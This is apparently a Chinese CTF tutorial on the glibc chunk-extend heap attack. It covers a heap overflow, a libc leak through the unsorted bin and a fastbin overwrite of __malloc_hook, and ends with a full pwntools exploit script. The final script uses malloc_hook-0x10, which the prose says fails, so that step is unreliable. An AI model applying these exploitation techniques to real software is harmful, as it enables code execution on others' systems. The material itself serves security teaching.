Chunk Extend攻击
该攻击主要对程序中出现的堆溢出漏洞进行利用,通过堆溢出漏洞修改相邻chunk的size位,修改为多个chunk的总大小,从而欺骗堆管理器,误以为分配的多个chunk是一整个chunk,从而开展fastbin攻击
思路介绍
我们先分配多个chunk,假设我们能够向分配的chunk中写入0x100大小的数据
add(0x60)#0 010
add(0x60)#1 080
add(0x60)#2 0f0
add(0x60)#3 160
查看分配结果,为了方便,我们给对应的chunk打上标记,标记形式为下标和地址末三位
我们通过堆溢出,将chunk1的大小修改为0xe1
edit(0,b'a'*0x60+b'\x00'*8+p64(0xe1))
如上图所示,堆管理器就会误以为chunk1的大小是0xe1
这个时候我们free掉chunk1,堆管理器会将chunk1和chunk2一起放入unsorted bin中
而由于unsorted bin的双向链表结构,当unsorted bin中只有一个chunk时,这个chunk的fd指针和bk指针都会指向main_arena附近的区域,从而泄露libc基址.
我们要怎么泄露呢?
我们知道,当malloc一个chunk时,堆管理器会查找fastbin中是否有大小合适的chunk,然后会遍历unsorted bins,如果有大于等于目标chunk大小的chunk,就会将unsorted bins中的chunk进行切割,得到一个大小合适的chunk给用户
所以这个时候,我们先malloc一个0x60大小的chunk试试看,调试看看
可以看到,e0大小的free chunk被划分成了两个区域,各是0x70
并且通过地址末三位可以看到,其实刚才分配到的chunk是和chunk1重合的,为了方便,我们将他记为chunk4
而chunk2则是处在了unsorted bin中,但是现在我们其实没有free chunk2,这就起到了利用堆溢出欺骗堆管理器的作用.
理论知识就这么多,我们直接进入实战
例题分析
主函数
进入menu函数
可以看到,经典的菜单题
先看add_note
delete note
free chunk之后,进行了指针置零的操作,不存在uaf漏洞
可以向chunk中写入0x100大小的内容,当我们分配堆块的大小小于0x100时,就会存在堆溢出漏洞
print note
打印堆块内容
同时程序存在后门函数
分析得到的漏洞只有可能存在的堆溢出漏洞
解题思路
1.利用堆溢出漏洞打chunk extend攻击来泄露libc基址
2.利用libc基址得到malloc_hook,free_hook等函数地址
3.打fastbin攻击,篡改malloc_hook,free_hook等函数地址为后门函数或者one_gadget
操作过程
先打chunk extend攻击,构造出可以print内容的chunk
下面是脚本
add(0x60)#0 010
add(0x60)#1 080
add(0x60)#2 0f0
add(0x60)#3 160
edit(0,b'a'*0x60+b'\x00'*8+p64(0xe1))
dele(1)
add(0x60)#4 0f0
如果题目给了libc和ld文件,则泄露libc会方便很多
本题直接给了libc和ld附件,我们直接在pwndbg中查看
当我们泄露出main_arena附近的地址时,直接减去他们之间的偏移就是malloc_hook的地址,下面是接收脚本
main_arena_fake=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print("1."+hex(main_arena_fake))
malloc_hook=main_arena_fake-0x68
libc_base=malloc_hook-libc.sym['__malloc_hook']
此时的chunk2被堆管理器误以为是unsorted bin中的free chunk,其fd和bk都指向了main_arena附近的区域
可以借此来泄露libc基址及一系列的东西
得到malloc_hook的地址后,我们可以通过篡改malloc_hook的函数地址处的内容,使其指向one_gadget或者是backdoor
在泄露之后,我们将unsorted bin中的chunk malloc出来
可以看到chunk数量并没有增加,而是和chunk2进行了重叠,我们把它标记为chunk4
并且可以看到,在堆区域中,和chunk4相邻的chunk是末三位为160的chunk,通过标记可以看到是chunk3
为了打fastbin攻击,我们将chunk3 free掉,以此来修改他的fd指针指向我们需要的地方
修改脚本如下
add(0x60)#4 0f0
dele(3)
edit(4,b'b'*0x60+b'\x00'*8+p64(0x71)+p64(malloc_hook-0x23))
这里解释一下,为什么修改fd指针指向malloc_hook-0x23
在堆管理器中,fastbin会对申请的chunk的大小进行检测,只有大小处于0x20-0x80的申请会从fastbin中寻找合适的chunk.
我们来看假设指向malloc_hook-0x10会怎么样
红框内的内容便是申请chunk的大小,明显不符合fastbin的检测机制
再来看看malloc_hook-0x23的内容
对应位置的内容是0x7f,刚好能够满足fastbin的检测
我们来看修改后的堆内容
chunk3指向了我们想要的地方
接下来只需要malloc两个大小为0x60的chunk便可以申请到修改后内容指向的地方,也就是malloc_hook-0x23的地方,然后使用edit对该内容修改即可
随后执行一次malloc即可
EXP
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
fn='./pwn'
eir = 0
if eir == 1:
p=remote("120.46.59.242",2129)
elif eir == 0:
p=process(fn)
elf=ELF(fn)
libc=ELF('/home/zst/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
def open_gdb_terminal():
pid = p.pid
gdb_cmd = f"gdb -ex 'attach {pid}' -ex 'set height 0' -ex 'set width 0'"
subprocess.Popen(["gnome-terminal", "--geometry=96x64+0+0", "--", "bash", "-c", f"{gdb_cmd}; exec bash"])
def dbg():
open_gdb_terminal()
pause()
def add(size):
p.sendlineafter("5.Exit!",str(1))
p.sendlineafter("Please Input Size:",str(size))
def dele(index):
p.sendlineafter("5.Exit!",str(2))
p.sendlineafter("Please Input index:",str(index))
def show(index):
p.sendlineafter("5.Exit!",str(4))
p.sendlineafter("Please Input index:",str(index))
def edit(index,content):
p.sendlineafter("5.Exit!",str(3))
p.sendlineafter("Please Input index:",str(index))
p.sendafter("Change EMo Content",content)
def ext():
p.sendlineafter("5.Exit!",str(5))
shell_addr=0x400946
add(0x60)#0 010
add(0x60)#1 080
add(0x60)#2 0f0
add(0x60)#3 160
edit(0,b'a'*0x60+b'\x00'*8+p64(0xe1))
dele(1)
add(0x60)#4 0f0
#dbg()
show(2)
main_arena_fake=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print("1."+hex(main_arena_fake))
malloc_hook=main_arena_fake-0x68
libc_base=malloc_hook-libc.sym['__malloc_hook']
#dbg()
add(0x60)#4 0f0
dele(3)
edit(4,b'b'*0x60+b'\x00'*8+p64(0x71)+p64(malloc_hook-0x10))
dbg()
add(0x60)#3
add(0x60)#5
edit(5,b'd'*0x13+p64(shell_addr))
add(0x18)
#dbg()
p.interactive()
而我们看到malloc_hook-0x23的地方,对应位置的内容正好是0x7f符合fastbin的检测机制,因此将指针指向该地址